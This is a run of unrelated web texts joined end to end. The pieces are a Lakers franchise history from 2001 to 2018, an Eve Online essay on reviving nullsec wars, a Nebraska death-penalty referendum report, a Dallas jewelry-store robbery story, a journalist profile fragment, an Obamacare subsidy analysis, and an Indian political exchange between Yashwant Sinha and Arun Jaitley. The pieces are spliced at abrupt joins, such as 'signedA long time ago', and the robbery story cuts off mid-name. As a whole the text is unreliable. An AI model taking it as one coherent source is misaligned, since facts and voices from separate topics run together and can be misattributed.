The Lakers certainly looked the favorite to repeat the following year, but they had a tougher time of it, accumulating 16 losses by the All-Star break, one more than they had had the entire season before. Nevertheless, they pulled together and were able to edge Sacramento for the division title. Then the team went on a tear, sweeping the first three playoff series. The Lakers-Spurs series in the conference finals was the most lopsided conference finals series in NBA History, with the Lakers winning by an average of 22 points per game. The Lakers lost the first game of the NBA Finals to Philadelphia, but that only proved to be a temporary blip, as they swept the next four games to claim their second consecutive championship. O'Neal collected his second Finals MVP and Derek Fisher set a playoff record with 15 three-pointers in the series against San Antonio. The Lakers concluded the 2001 playoffs with a staggering 15–1 record, the best single season playoff record in NBA history.[citation needed]
Would a third consecutive championship be possible? The Lakers certainly thought so, and they started strongly in the 2001–2002 season, winning 16 of their first 17, but an arthiritic toe hobbled O'Neal for much of the season and the Lakers lost the division crown to the Sacramento Kings. Thus began a memorable post-season for Robert Horry, who sealed the first series against Portland with a game-winning three-pointer, enabling the Lakers to sweep. The Lakers followed with a 4–1 defeat of San Antonio in the second round. In the Western Conference Finals, the Lakers faced the immensely talented Sacramento Kings, a team many believed was ready to finally make it over the hump and get to the NBA Finals. The series, which will most likely go down as one of the most exciting Conference Finals in NBA history, was neck and neck throughout. The Kings were only seconds away from taking a commanding 3–1 series lead in Game 4 in Los Angeles before a 3-pointer at the buzzer by Robert Horry saved the Lakers, tied the series at 2–2, and enabled the Lakers to push the series to a seventh and deciding game in Sacramento. Game 7 proved to be as dramatic as the previous games in the series, with the Lakers eventually defeating the Kings in overtime and advancing to the NBA Finals.[citation needed]
The championship series against the New Jersey Nets was a mere formality, as the Lakers swept all four games in one of the most lopsided NBA Finals ever. By securing their third straight NBA Championship, the Lakers of 2000–2002 earned their place in NBA history. O'Neal won his third consecutive Finals MVP award joining only Michael Jordan as players to have achieved such honors, and Jackson won his ninth championship as a head coach, tying Celtics legend Red Auerbach, while surpassing Pat Riley as the coach with the most playoff victories.[citation needed]
Kobe Bryant won two Finals MVP trophies with the Lakers in 2009 and 2010.
The Laker juggernaut seemed unstoppable, and a fourth consecutive championship was in their sights. However, they started off poorly, with Shaquille O'Neal missing the first 12 games while recovering from toe surgery, and then taking time to get into game shape. At Christmas, the team was 11–19, but then Kobe Bryant turned in the best sustained performance of his career, setting NBA records for youngest player to reach 10,000 points, most three-pointers in a game (12), most three-pointers in a half (8), and most consecutive three-pointers in a game (9). Additionally, he set a team record for most points in a half (42), scored 40+ points in 9 consecutive games (joining Chamberlain and Jordan), scored 35+ points in 13 consecutive games (trailing only Chamberlain), became the third player to average 40 points in a month, and became the first Laker to record a triple-double in consecutive games since Magic Johnson in 1991.[citation needed]
The Lakers finished the season with a 50–32 record, their 27th 50+ victory season since moving to Los Angeles. In the playoffs, the pivotal moment was a familiar one. With the series tied at two games apiece, the Lakers were already missing one of their tri-captains in Rick Fox, who had torn a ligament in his left foot during the Minnesota series. San Antonio led by as many as 25 points in the game before the Lakers' poise and confidence once again emerged down the stretch. Down 18 in the final period, Los Angeles dug deep and rallied, leaving themselves a two-point deficit with a mere 14.7 ticks left on the clock. The game would come down to a familiar hero in a familiar situation. Following the inbounds pass and with 3.6 seconds remaining in the game, Robert Horry let fly the potential game-winning three-pointer – only this time the Lakers saw the ball go in, then inexplicably rim out. A shot that had always fallen in the past would not this time around.[citation needed]
Rather than rejoicing in another last-second victory that would have given them a 3–2 series lead and a chance to finish the Spurs off back home in Los Angeles, the Lakers instead faced the dejection of having been so close, but now facing a 3–2 deficit and now being on the brink of elimination. The Spurs did not waste their chance to finish off the Lakers. They swarmed the Lakers in Game 6 and put an end to the Lakers' dreams of a fourth consecutive NBA championship.[citation needed]
Determined to reclaim the title in Dr. Buss' 25th year of ownership, the Lakers brought in free agents Karl Malone and Gary Payton, and started the 2003–04 season with a bang, winning 20 of their first 25 games, during which time Malone became the oldest player to record a triple-double. But then Malone went down with a knee injury, and other ailments to Shaquille O'Neal and Kobe Bryant soon followed, leaving Payton to lead the younger players in an offensive system with which he wasn't particularly familiar. Additionally the team faced the ongoing distraction of Bryant's sexual assault case and the sniping between O'Neal and Bryant which had ensued after Bryant was charged.[citation needed]
Still, the team managed to keep things together long enough for everyone to recover, closing the season in style with 14 victories in 17 games, and a Pacific Division title thanks to Bryant's two buzzer-beating three-pointers against Portland: one to tie the game at the end of regulation, and the second to win it in double-overtime. Without Horry in the playoffs, it was up to Fisher to save the team with a game-winning buzzer-beater. Again the Lakers were down 0–2 to San Antonio (at this time, the defending champions) in the semifinals. Again they were able to tie the series two games a piece at home. Again they were down as Game 5 drew to a close. Fisher's miraculous basket, coming off of an inbounds play that began with just 0.4 seconds left in the game, would achieve acclaim as one of the NBA's most amazing playoff moments. This time, the Lakers returned home for Game 6 indeed relishing the joy of their improbable win, and they took advantage of their chance to finish off the Spurs, taking the game to advance to the Western Conference Finals.[citation needed]
After storming through the number one seed Minnesota Timberwolves in the Western Conference Finals, the Lakers were expected to run roughshod over their NBA Finals opponents, the Detroit Pistons. But it wound up being the other way around, with the Pistons winning the series easily in five games, playing a team-oriented game featuring a particularly stingy defense.[citation needed]
2004–2007: The franchise player – Kobe's scoring years [ edit ]
The following summer after the 2003–04 season, the Lakers imploded. Jackson was burned out, and the Lakers' management was unwilling to raise his salary from $6 million a year to $12 million that he wanted to continue. Also, assistant coach Tex Winter said Jackson announced at the 2004 All-Star break that he would not want to return to the Lakers if Bryant returned.[29] The long-simmering tensions between Shaquille O'Neal and Kobe Bryant finally came to a head. When Jackson was not retained as coach (a move many believed to have been orchestrated by Bryant), O'Neal demanded a trade and it was granted; he went to the Miami Heat in return for Lamar Odom, Caron Butler, and Brian Grant. Bryant tested the free-agent market, apparently coming very close to signing with the Los Angeles Clippers before deciding to stay with the Lakers. Jackson retired to his ranch in Montana and Rudy Tomjanovich came in as the new head coach.[citation needed]
Gary Payton was dealt to Boston and Karl Malone retired after undergoing knee surgery, but not before the possibility of his return was eliminated when he and Bryant had a falling-out. Despite all of the offseason movement, the Lakers did manage a 24–19 start at the beginning of the 2004–05 season, but it was at this time Tomjanovich left the team for health concerns. The Lakers struggled without Tomjanovich, but were still able to manage a 32–29 record and were in position to make the playoffs. However, the Lakers were not able to overcome late season injuries to Bryant and Odom, and went on to lose 19 of their last 21 games, finishing with a record of 34–48.[citation needed]
Despite all of this, Bryant continued to set records, including becoming the youngest player to reach 14,000 points, and setting a franchise record with 43 consecutive made free throws. The team also made 100% of their free throws three times, the first time since 1991–92. But all of that amounted to little, as the Lakers ended the season below.500 and missed the playoffs.[citation needed]
The 2005–06 season would see the Lakers reunite with Phil Jackson. Jackson's year off, including vacationing in Australia, left him rejuvenated, whereas the Lakers' struggle in 2004–05 caused Jerry Buss to reconsider his willingness to meet Jackson's salary demands. Although many have felt Kobe Bryant desired Jackson's departure in the first place, and though Jackson was subsequently critical of Bryant publicly, Bryant indicated that he welcomed Jackson's return, and the move left fans very optimistic about the Lakers season. Indeed, no public disagreements between the two surfaced throughout their first season reunited, and the player-coach relationship appeared to remain solid.[citation needed]
In the off-season, the Lakers' most significant player personnel moves had been acquiring Kwame Brown from Washington in exchange for Caron Butler and Chucky Atkins, and drafting center Andrew Bynum straight from high school.[citation needed]
After the previous seasons's poor showing, most felt that simply making the playoffs would be an accomplishment. The new Laker team seemed somewhat modeled after Jackson's 1990s Chicago Bulls dynasty which had garnered 6 championships. Lamar Odom, a gifted facilitator forward, was also seen by some to be a "Scottie Pippen" type of player to complement Kobe Bryant's talents.[citation needed]
After a shaky start, the team's chemistry appeared to improve dramatically during the latter half of the season. The Lakers managed to put forth more consistent efforts as the regular season drew to a close. The team's late season surge was enough to secure a playoff berth and allay some of their fans' immediate concerns about the team. They played the second seeded Phoenix Suns, and after Bryant hit two clutch shots to win Game 4 at Los Angeles, they appeared to be en route to an upset with a 3–1 series lead, which would set up a "Hallway Series" in the second round against the Los Angeles Clippers, who had already advanced by ousting the Denver Nuggets. However, Phoenix, led by 2006 MVP Steve Nash, was able to rally. They would win at home 114–97 in Game 5, win at Los Angeles 126–118 in overtime of Game 6 (almost losing in regulation), and blow out in Game 7 121–90 at Phoenix.[citation needed]
The Lakers trailed 60–45 at halftime of Game 7. Bryant had 23 points at halftime but would score only one point on three shots in the second half. A number of critics, such as Bill Simmons suggested that Bryant, with his team trailing by so much, should have attempted more shots in the second half; some, such as Charles Barkley even suggested that Bryant refused to shoot to "prove a point" about the inferior scoring ability of his teammates. Bryant and coach Phil Jackson denied this, with both stating that Kobe was following the halftime gameplan by getting others involved.[30]
During the 2006 off-season, the Lakers drafted UCLA point guard Jordan Farmar. To the surprise of many fans, the Lakers started the season strongly with key victories over teams like the Utah Jazz, Dallas Mavericks, and San Antonio Spurs. However, things started going downhill after a slew of injuries to Lamar Odom, Kwame Brown, and Luke Walton. Kobe Bryant was suspended twice for striking opponents, and some started to question if he was a "dirty player." Outraged at these criticisms, Bryant went on a record-setting 4-game streak of scoring at least 50 points. The Lakers managed to grab the seventh seed, but lost to the Phoenix Suns 4–1 in the first round.[citation needed]
Following the 2006–07 season the future of Kobe Bryant's career as a Laker fell into doubt, when he demanded to be traded.[31] For a week he tiraded and the situation escalated when a videotape about him was released. The video recorded him saying that the Lakers should have traded Andrew Bynum for Jason Kidd. Bryant insulted Bynum and was critical of general manager Mitch Kupchak. Roster management decided to resign Derek Fisher, a past hero, but the Lakers would enter the season frustrated and with question marks.[citation needed]
2007–2013: Bryant and Gasol – Return to championship form [ edit ]
The Lakers started the 2007–08 NBA season surprisingly well. Fueled by the emergence of Andrew Bynum as a main option at center, the Lakers would even enjoy being the number one team in the Western Conference for three days. Capped by an early season trade for Trevor Ariza, rumors of Bryant wanting to leave Los Angeles were finally beginning to die. However, before the Lakers could savor their new success, Bynum would go down with a knee injury that would take him out for the remainder of the season. Suddenly, the contending Lakers would lose three straight games. The remainder of the season looked bleak for the Lakers, who were struggling to win games. It seemed that injuries, once again, would cripple another Laker season.[citation needed]
On February 1, 2008, the Lakers dealt the unpopular Kwame Brown, rookie Javaris Crittenton, veteran Aaron McKie, the draft rights to Marc Gasol, and first round picks in 2008 and 2010 for Spaniard all-star forward Pau Gasol (Marc's older brother) and a second round draft choice in 2010.[32]
With the Lakers now having a center and power forward who are both 7 feet tall, analysts have referred to Gasol and Bynum as "the twin towers", similar to famous NBA duos such as Tim Duncan and David Robinson, Patrick Ewing and Bill Cartwright, and the original named duo of Hakeem Olajuwon and Ralph Sampson. Even while waiting for Bynum's return, the Lakers were playing very well and got a second taste of being best in the Western Conference.[citation needed]
With Kobe Bryant leading the charge with his MVP-caliber season, the month of April was very triumphant for the Lakers, who quickly surged to the top of Western Conference. Aided by Gasol's versatile abilities and Lamar Odom's stellar play as a third option, the Lakers clinched their playoff berth for the 55th time in their 60 years with the league, won the Pacific Division from the Phoenix Suns (their first since Shaq left in 2004), and clinched the number one seed in the Western Conference for the first time since the 1999–2000 NBA season. Bryant was also named the 2007–2008 NBA Most Valuable Player. Entering the post-season, the Lakers would post a 12–3 record entering the Finals. However, problems suddenly arose when the Lakers faced the Boston Celtics in the 2008 NBA Finals. The Celtics, the best-record team during the regular season, convincingly beat the Lakers 4–2 in the best of 7 series.[citation needed]
In the 2009 season, the Lakers had only one goal in mind: "ring", their huddle chant throughout the year. In January, the Lakers would again lose Andrew Bynum to injury. Bynum would return for the last few games of the regular season, and the Lakers ended up with a record of 65–17. In the playoffs, Los Angeles easily beat the Utah Jazz in the first round, but faced a tough Houston Rockets team the next round. Though the Rockets stunned the Staples Center crowd with a Game 1 win, the Lakers took the series in seven, with most games of the series ending as a blowout. The Denver Nuggets kept the next round tight for L.A., until the Lakers blew them out in Game 6, winning the conference championship. In the Finals against the Orlando Magic, several games were close, but the Lakers still won 4–1 and were crowned NBA Champions for the first time in 7 years. Kobe Bryant was named the Finals MVP.[citation needed]
Five championship banners were added to the rafters of Staples Center during Phil Jackson's tenure with the Lakers.
On July 3, 2009, the Lakers signed Houston Rockets forward Ron Artest to a five-year contract to replace Lakers forward Trevor Ariza who signed with the Rockets. The Lakers once again won the Western Conference and made it to their third straight finals. In the 2010 NBA Finals, the Lakers were rematched with the Boston Celtics. Faced against much of the same roster that they had played with in 2008, the series played out very tightly, with both teams trading wins for the first four games. After the Celtics won a decisive game 5, the series moved back to Los Angeles where the Lakers would win in a rout. Coming down to the fifth game 7 in the rivalry's history, Boston played well in the early goings of the match. However, the Lakers would rally in the fourth quarter to a raging Staples Center crowd. Led by Bryant and Gasol's rebounding, and with clutch shots from Ron Artest and Derek Fisher, the Lakers would win their franchise's sixteenth NBA championship. Bryant was awarded his second consecutive Finals Most Valuable Player Award.[citation needed]
In the 2011 NBA Playoffs, the Lakers advanced past the first round by defeating the New Orleans Hornets 4–2. However, the Dallas Mavericks swept the Lakers and ended Phil Jackson's career with a 36-point blowout in Game 4.[citation needed]
After Jackson's retirement, former Cleveland Cavaliers head coach Mike Brown was hired as head coach.[33] On December 8, 2011, the New Orleans Hornets, the Los Angeles Lakers and the Houston Rockets agreed to a trade that would send Chris Paul to Los Angeles. NBA commissioner David Stern nullified the trade. The decision was met with severe backlash by players and sportswriters. The league had acquired the Hornets from former owner George Shinn, and the commissioner's office has final authority over all management decisions. Several of the other owners, also opposed the deal (most notably Cleveland Cavaliers owner Dan Gilbert). At the end of the trade deadline, the Lakers traded long time point guard Derek Fisher to Houston for Jordan Hill. During the 2012 NBA Playoffs, the Lakers nearly blew a 3–1 series lead to the Denver Nuggets, before closing them out in the seventh game. Entering the semifinals, the Lakers would lose to the Oklahoma City Thunder 4–1.
Entering the 2012–13 season, the Lakers made key changes in their roster, trading several draft picks to the Phoenix Suns for two time MVP Steve Nash, and trading Andrew Bynum and a first round draft pick in a four team deal that netted them three time defensive player of the year Dwight Howard. After a 1–4 start to the season, Brown was fired as head coach.[34] The Lakers first contacted Jackson to replace Brown;[35][36][37][38] however, talks stalled as Jackson requested time to consider the position. The next day, the team talked with Mike D'Antoni and signed him to a multi-year contract in a unanimous decision by the front office.[35][36][39] They felt that D'Antoni's fast-paced style of play made him a "great fit" for the team, more suitable than Jackson's structured triangle offense.[35][36][40][41] Jerry Buss' preference has always been for the Lakers to have a wide-open offense.[35] D'Antoni was reunited with Nash, who won two MVPs in four season under D'Antoni while with the Suns. Bryant was also familiar with D'Antoni; Bryant as a child knew him when D'Antoni was a star in Italy and Bryant's father was also playing there. Bryant grew close with D'Antoni during their time with the United States national team.[42][43]
D'Antoni's coaching debut with the Lakers was delayed as he recovered from knee replacement surgery he had weeks earlier.[44] Bernie Bickerstaff, who was the Lakers' interim coach after Brown was fired, continued in that role after D'Antoni was hired.[45] He was 4–1 as the interim coach, winning his last two as D'Antoni started leading team practices.[46][47] D'Antoni predicted that the Lakers, then 3–5 and ranked 20th in scoring with 96.5 points per game, should instead be scoring "110–115 points a game".[46] He wanted to revive Showtime.[48] On November 20, he coached his first game—nine days after he was hired—in a 95–90 win against the Brooklyn Nets.[49] On February 18, 2013 the Lakers franchise and the sports world were saddened by the death of Dr. Jerry Buss at the age of 80. In their first game after his passing and following a speech of tribute from Kobe Bryant along with a moment of silence observed by the crowd, an emotional and inspired Lakers team defeated their archrival Celtics. Very fitting in that this was the team Dr. Buss most enjoyed seeing his Lakers beat. With 10 championships and 16 finals appearances during his tenure as owner beginning in 1979 until his death, Dr. Buss was the most successful owner in the history of North American sports.
Despite all the struggles, including an injury to Kobe in a controversial March loss to Atlanta in which they were not awarded 2 free throws after Kobe's injury, while it was later admitted they should have, the Lakers made the playoffs as the 7th seed at 45-37, only clinching a playoff spot in the last game. Their first round matchup against San Antonio was nowhere to being close as the Spurs won all four games easily.[citation needed]
2013–2016: Bryant's final years [ edit ]
In the 2013–14 season, the Lakers started 10–9, which would be their high point, as the team collapsed in every sense of the word, finishing 27–55, and missing the playoffs for just the seventh time since moving to Los Angeles. The Lakers won the rights to the seventh pick of the 2014 NBA draft with which they selected Julius Randle, a freshman power forward from the University of Kentucky. The Washington Wizards agreed to sell the Lakers the rights to the 46th pick of the draft for cash considerations. The Lakers drafted Jordan Clarkson with the 46th pick of the draft and agreed terms for a two-year deal.[citation needed]
The Lakers finished their 2014–15 season with a record of 21–61 and missing the playoffs for just the eighth time since moving to Los Angeles. It was the worst record in franchise history. The Lakers obtained the second pick of the 2015 NBA draft at the 2015 NBA Draft Lottery. They drafted Ohio State University freshman point guard D'Angelo Russell with the second pick of the draft. They also drafted Larry Nance, Jr. with the 27th pick and Anthony Brown with the 34th pick of the 2015 NBA draft.[citation needed]
Early in the 2015–16 season, Bryant announced that this season would be his last.[50] In Bryant's final game, he gave the Laker faithful one last unbelievable performance, scoring 60 points in a 101–96 victory over the Utah Jazz. On March 9, 2016 with a 14–51 record, the Lakers were eliminated from playoff contention for the third straight season and for the ninth time since moving to Los Angeles. It became the longest postseason drought for the Lakers surpassing their two straight misses in the 1974–75 and 1975–76 NBA seasons. The Lakers finished with a record of 17–65, eclipsing their 2014–15 season record for the worst record in franchise history.[citation needed]
On April 24, 2016 the Lakers announced they had fired coach Byron Scott. He was replaced by Warriors assistant and former Lakers forward Luke Walton.[51][52] Soon thereafter, the Lakers won the second overall pick in the 2016 NBA draft[53] and selected Brandon Ingram, a 6'9" freshman small forward from Duke University.[54]
On February 21, 2017, the Lakers fired general manager Mitch Kupchak, while Magic Johnson was named as the president of basketball operations. The team's governor Jeanie Buss, also announced the removal of her brother, Jim Buss, from his position as executive vice president of basketball operations.[55][56] On March 7, 2017, the Lakers hired Rob Pelinka as the general manager.[57]
In the 2017 NBA draft the Lakers had the second overall pick yet again, and selected Lonzo Ball, a 6'6" freshman point guard from UCLA.[58] In a draft-day trade, the Lakers also acquired Brook Lopez and 27th overall selection Kyle Kuzma from the Brooklyn Nets in exchange for Russell and Timofey Mozgov.[59] The 2017–18 season saw another improvement with a 35–47 record, nine more wins than the previous season.[60] In addition, Jordan Clarkson and Larry Nance Jr. were traded to the Cleveland Cavaliers in exchange for Isaiah Thomas, Channing Frye and the 25th overall selection in the 2018 NBA draft.[61] That draft pick was used to select center Moritz Wagner from Michigan during the 2018 NBA draft.[62]
On July 9, 2018, the Lakers signed LeBron James to a 4-year, $154 million contract.[63][64]
References [ edit ]
General [ edit ]
Specific [ edit ]
http://www.espn.com/nba/story/_/id/24052129/official-lakers-announce-lebron-james-signedA long time ago in Eve Online, the drums of war beat incessantly. Alliances went at each other’s throats for what seemed like years in blood feuds. The savage nature of the conflicts both inspired a player base driven by propaganda and made an epic story arc that we loved to tell others about, regardless of what side we were on. Songs were written – literally – about the duty and responsibility of line members to “X up for POS destruction”. Voracious appetites for conquest weren’t simply satisfied through agreements and nonaggression pacts. No. The complete and utter destruction of the enemy was paramount. Not because there was legitimate ill will in real life, but because that was the nature and goal of the game.
Spoiler alert: That hasn’t changed.
I don’t mean to romanticize this period, but quite a few of us long for its return because of its chaotic nature. Somewhere between the great wars and now, the old guard are content enjoying the spoils of their hard work and dedication – and who can blame them? After such a tumultuous time of waging wars and building empires, why put all that in jeopardy? This has now become a time of the after-party. The great wars are done and people in nullsec are starving for content, right? The problem is that the idea of another great war is simply too overwhelming. Since the time of Goons v BoB, the very notion of acceptable losses has decreased dramatically. Because of this, it’s been argued that risk aversion has now infiltrated the minds of the current empires.
I don’t think that this premise is totally inaccurate, but let’s face it – the chaotic nature of the Eve universe was still in its infancy. New Eden was put through the crucible, forged with fire, until it took shape into the state that we see it today. It’s a natural progression of things, to start out chaotic, then eventually subside into stability. Much like cannonballing into a swimming pool. The entry is violent with spectators getting wet until finally, the waves subside and calmness returns to the water.
It’s time for someone with the tools at his or her disposal to yell “Cannonball!” again.
B-R was a fluke. Although it showed us some of that same tenacity of years past, let us not forget that if not for a simple unpaid sovereignty bill, that fight would never have taken place. It was a capital fight on a level seldom seen before, but let’s take a step back for a minute. It wasn’t just the CFC and Pandemic Legion taking part in this fight. In some ways, all of us were there. If we couldn’t make it into system, we were watching it on stream, struck with awe at the sight. Our momentary jaw dropping was tempered nicely with dancing skeletons and airhorns. We were cheering again! That wonderful feeling of knowing we were witnessing history.
Now the reality check.
Because of TiDi, this left the participants exhausted when it was over. Nearly a full day had passed and many had gone without sleep. Although the post-game interviews and commentary were glorious, this battle took it toll on a real life level. For those of us who were around in the early years, we remembered. At the same time, battles such as B-R and Asakai were revitalizing the old desires for war for war’s sake. The rumblings haven’t subsided and are still with us today.
So many real life friendships have grown out of mutual admiration and respect since the days where wars were easy to declare. It’s only natural. Fanfests, meetups, and the exchanges of diplomacy that have taken place over the years have cemented a community. That’s supposed to be a good thing, right? There’s not a lot of genuine hate for your enemies anymore because hey, you just had a beer with that dude. You know them on a personal level now. Failing that, you’ve been in diplomatic chats so often with this person that you know what buttons you can and cannot push.
So when a game turns stale because the grandiose has now become stagnant, the players of the line turn to the only people they think can remotivate the populace and grease the gears of war – the developers. “Change sovereignty! Shake things up! Nerf all the things!” It’s not going to make one bit of difference. In war you need to instill two key things into your soldiers: a sense of duty and hate for your enemy.
CCP can change all the mechanics and rules in existence and it won’t do one bit of good, because ultimately, the reasons we fight in Eve are completely different now. We used to fight at a higher level because we wanted the other person’s stuff. To do that, leaders inspired a player base with a sense of duty and hate for the enemy which doesn’t exist anymore. We want the “fun” and “gudfights”. It used to be fun to hate your enemies. What’s more fun than winning or going up against an impossible foe?
It used to be. If we want nullsec to be a place of content and enjoyable chaos again, we have to be able to hate again. This is terrible to say, I know. But if we are truly an evolved community that can break bread with our foes in real life, we have to remember that it’s okay to hate from a metagame standpoint.
The denizens of nullsec cry out for content that simply doesn’t exist anymore. To get it back and get over the comfort zones of where things stand now, don’t turn to CCP. Beat the drums of war again. Hate the enemy with enough vitriol to make it worth losing everything. That’s how to get out of your comfort zone. That’s a mechanic that CCP can never give you. If you truly want a new beginning in nullsec, be willing to have an uncertain ending. Eve Online is war. War is hate. Hate is motivating.
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Like this: Like Loading... RelatedNebraskans for the Death Penalty, an organization created to overturn LB 268, filed documents with the Nebraska Secretary of State today seeking a referendum by Nebraska voters.
Board members of Nebraskans for the Death Penalty include Omaha City Councilwoman Aimee Melton, former State Board of Education member Bob Evnen, and Judy Glassburner, Nebraska Republican Party Third District Vice-Chair. They, in turn, are forming the ballot committee which will conduct the petition circulation process and campaign.
The group claims a recent survey showed Nebraskans overwhelmingly support the death penalty by a wide margin with 64% favoring and 24% opposing.
Nebraskans for the Death Penalty will undertake a referendum effort to allow voters to decide whether the death penalty should be reinstated or not.
On May 27, the Nebraska Legislature passed LB 268 over the veto of Governor Pete Ricketts effectively repealing the death penalty in Nebraska. Referendum petition signatures must be submitted to the Secretary of State within 90 days after the Legislature adjourns. The legislature adjourned on May 29, making referendum signatures due on August 27, 2015.
To secure a vote of the people reinstating the death penalty, valid signatures are needed from 5 percent of the registered voters in the state and these signatures must include 5 percent of the voters in two-fifths of the counties (38 of the 93 counties).
A vote by the people would occur at the general election in 2016. At current voter registration levels, the total number of signatures needed is approximately 56,708. At the election, a simple majority of those voting on the measure would prevail.
To suspend the legislation and prevent LB 268 from ever taking effect, signatures are needed from 10 percent of the registered voters in the state and this must include 10 percent of registered voters in 38 counties. This number of petition signatures would suspend LB 268 until the voters have a chance to vote on it in the 2016 general election.
As for the ten inmates currently on Nebraska's death row, their fate is uncertain.
State Senator Ernie Chambers, who has spent his career pushing to abolish the death penalty, told a Canadian radio program: "They remain under the sentence of death. The way the bill was drafted, the means of carrying out an execution does not exist. So they remain under a death sentence but it cannot be carried out."
However, Governor Pete Ricketts has argued that the legislature has over-stepped its authority by effectively pardoning current death row inmates. He has vowed to proceed with their executions.
According to Creighton University Constitutional Law Professor Mike Fenner, Nebraska is now in uncharted legal territory. He told WOWT 6 News: "As a matter of constitutional law, there isn't a clear answer as to who is right. The federal courts will likely decide the issue, first the U.S. District Court, then the 8th Circuit Court of Appeals, then possibly the U.S. Supreme Court. It could take years before a decision is made."Dallas police arrested a 14-year-old boy accused of trying to rape a jewelry store employee during a robbery.
Surveillance video captured when the young robber threatening the woman with a knife. Police say the woman pleaded with him not to hurt her and was eventually able to get him to take the money and the register and leave.
The robbery at the $1 Jewelry Galore shop in Pleasant Grove happened Tuesday around 11 a.m.
Manager Laura Gonzalez can't help but look over her shoulder after the other clerk was ambushed while alone inside the store.
“I have to take every precaution I can to feel safe but you can't feel safe,” said Gonzalez.
Surveillance video shows the robber step in through an open door.
“She was fixing jewelry,” said Gonzalez, “He came up from behind and just attacked her.”
Video shows the 14-year-old walk down the aisle and turn a corner before pulling a large knife out of his front hoodie pocket. He rushes up behind the clerk, grabs her neck and knocks her to the ground. At one point, he crouches down with her.
Gonz |
, I really don't want to.' Then, when I offered to come see her in person in Los Angeles, she said, 'I have a Pilates class that morning, I really won't be able to see you.' So I said, 'Okay, I'll come and take it!'" Steel flew across the country and plopped down on a Pilates reformer machine next to Walsh. "We got breakfast afterwards, and she decided to come forward and to go on the record."
Steel committed to this kind of intense, all-or-nothing career a long time ago. For years, her mother saved the ecstatic voicemail Steel left when she learned she'd landed a role at the Daily Tar Heel, the student newspaper at her alma mater, University of North Carolina at Chapel Hill.
Roy Beeson
All it took to set her on the path was one story. During her senior year of high school, Steel wrote a piece for the school's paper in the wake of 9/11 about things students could still feel happy about and grateful for. A janitor stopped her in the hall to comment on it. "He said, 'Are you the one who wrote this? It really brightened up my life and just made me so happy.' He put it on the wall in his office," Steel recalls. "I just realized there's so much power in the written word. All of those fundamentals of journalism—of holding people in power accountable, and giving a voice to people who need one, and shining light on the dark places—there's a real power in that. Ever since then, that's all I've wanted to do."
The media landscape has, of course, shifted drastically since then. A cardboard cut-out of Donald Trump rests against a window in the New York Times building, as if he didn't already loom large at the institution. But Steel finds the present a "really invigorating" time to work in journalism.
"It's given people a sense of purpose of why we're doing the work that we do," she says.
The relatively quick ousting of O'Reilly is an important sign of evolving attitudes, she thinks, reflecting back on his threatening phone call to her in 2015. "It does show how he treats people, and how he used his position of power, and maybe even how he treated young women," she says of their interaction. "I feel like when this story broke, and Trump defended him soon after, there were a lot of women, and men too, who said, 'No. This isn't how we treat women. And we're not going to stand for it.'"
Then Steel sits down at her desk, and gets back to work.Compare this to Obamacare, under which people who earn more than about $48,000 don’t get any subsidies—no matter how old they are. As I’ve interviewed Trump supporters at the inauguration, in Pennsylvania, and in Tennessee, I’ve found that many of them make just over that threshold, and they’re angry that Obamacare doesn’t seem to take them into account. If they earn, say, $60,000, they don’t feel rich—in fact, their incomes are about average for American households—yet they can’t afford health insurance. They’re also resentful that people on Medicaid are getting something for nothing. Perhaps that’s one reason why people who earned between $50,000 and $100,000 were more likely to vote for Trump.
A comparison tool released by the Kaiser Family Foundation (based on the February 10 draft of the GOP plan) shows that in most of the country, a 40-year-old making $50,000 would be better off with the GOP’s age-rated tax credits than they were under Obamacare’s:
Of course, the new GOP plan also allows insurers to charge older people five times as much as they do younger people. That might not matter for the 40-year-old making $50,000, but it will almost certainly eat up the extra funds a 60-year-old making the same amount would receive under the GOP plan.
Because of that, older people in that $50,000 to $75,000 band might not actually find cheaper premiums under the GOP plan than they did under the Affordable Care Act. Still, they might feel they’re getting some help—any help—from the government, where before they received none, and feel less resentful as a result.Shortly after Finance Minister Arun Jaitley, without taking names, described him as a “job applicant@80”, senior BJP leader and former Finance Minister Yashwant Sinha responded on Thursday saying “if I was a job applicant, he (Jaitley) would not be there in the first place”. Jaitley took a swipe at Sinha over his opinion piece, published in The Indian Express Wednesday, in which he blamed the minister for the “mess” in the economy. Sinha wrote that the economy is in a downward spiral, its revival unlikely by the 2019 elections and a “hard landing appears inevitable.” He claimed that his views were shared by many people in the party who were “not speaking up out of fear”.
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In an interview to The Indian Express, Sinha maintained that the government “completely misread” the situation on the economic front and “kept chipping away at the margins”. He said that instead of acknowledging “there was a problem”, “they kept singing praises of themselves, patting their backs”.
Sinha said many BJP MPs had told him that “no one was being allowed to speak or raise issues at meetings of the parliamentary party”. He also slammed what he felt were efforts by the government to pit his son Jayant Sinha, Minister of State for Civil Aviation, against him on the issue of the handling of the economy.
Also read| They didn’t admit that there is a problem, they kept singing their own praises: Yashwant Sinha
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“For all those who are saying that mine was a personal attack, it is not. If it is the economy, the blame has to be on the Finance Minister and not the Home Minister. By pitting my son Jayant against me, they are trying to obfuscate issues. I can also get personal but I don’t want to fall into that trap,” he said.
In what appeared to be a counter to his views, Jayant Sinha, writing in The Times of India Thursday, said: “Several articles have been written recently on the challenges facing the Indian economy. Unfortunately, these articles draw sweeping conclusions from a narrow set of facts, and quite simply miss the fundamental structural reforms that are transforming the economy… These structural reforms are not just desirable, they are necessary to create a ‘New India’ and provide good jobs for our billion-strong workforce”.
Also read | Arun Jaitley slams Yashwant Sinha: India at 70, PM Modi at 3.5, job applicant at 80
Yashwant Sinha said he does not see the prospect of a change of guard in the Finance Ministry because “reshuffles have taken place and that has not happened. The point is we have lost precious time and now very little time is left and a new finance minister will not be able to do much”.
“If it is a question of national interest, all other interests become insignificant. And if there is collateral damage (to his son’s political career), so be it “ he said, adding that he did not discuss any of these issues with Jayant. On his son’s article in defence of the government, he said: “It’s not a father-son issue or a family issue. It should not be debased into a family issue and I condemn it.’’
Yashwant Sinha writes: The economy is on a downward spiral, I need to speak up now
He said he had kept quiet for too long. “I waited for a long time and 2014 is not 2017, and with the growth rate on a decline in six quarters and forty months down the line, you cannot hide your performance.’’
He said he finally decided to raise the issue of economic management because it was clear to him that there was lack of application of mind to the task at hand. “They should have admitted that there was a problem, but instead, month after month they kept singing praises of themselves, patting their backs and not attending to the problems which accumulated over time.’’
Also read| Arun Jaitley on Yashwant Sinha: Don’t have the luxury of being a former finance minister
He said the government “completely misread the situation” on the economic front and “kept chipping away at the margins. So, year after year, the bad loans of banks or NPAs kept rising. The first step was to stop the growth of bank NPAs which they did not do”. The government, he said, also neglected the telecom sector.
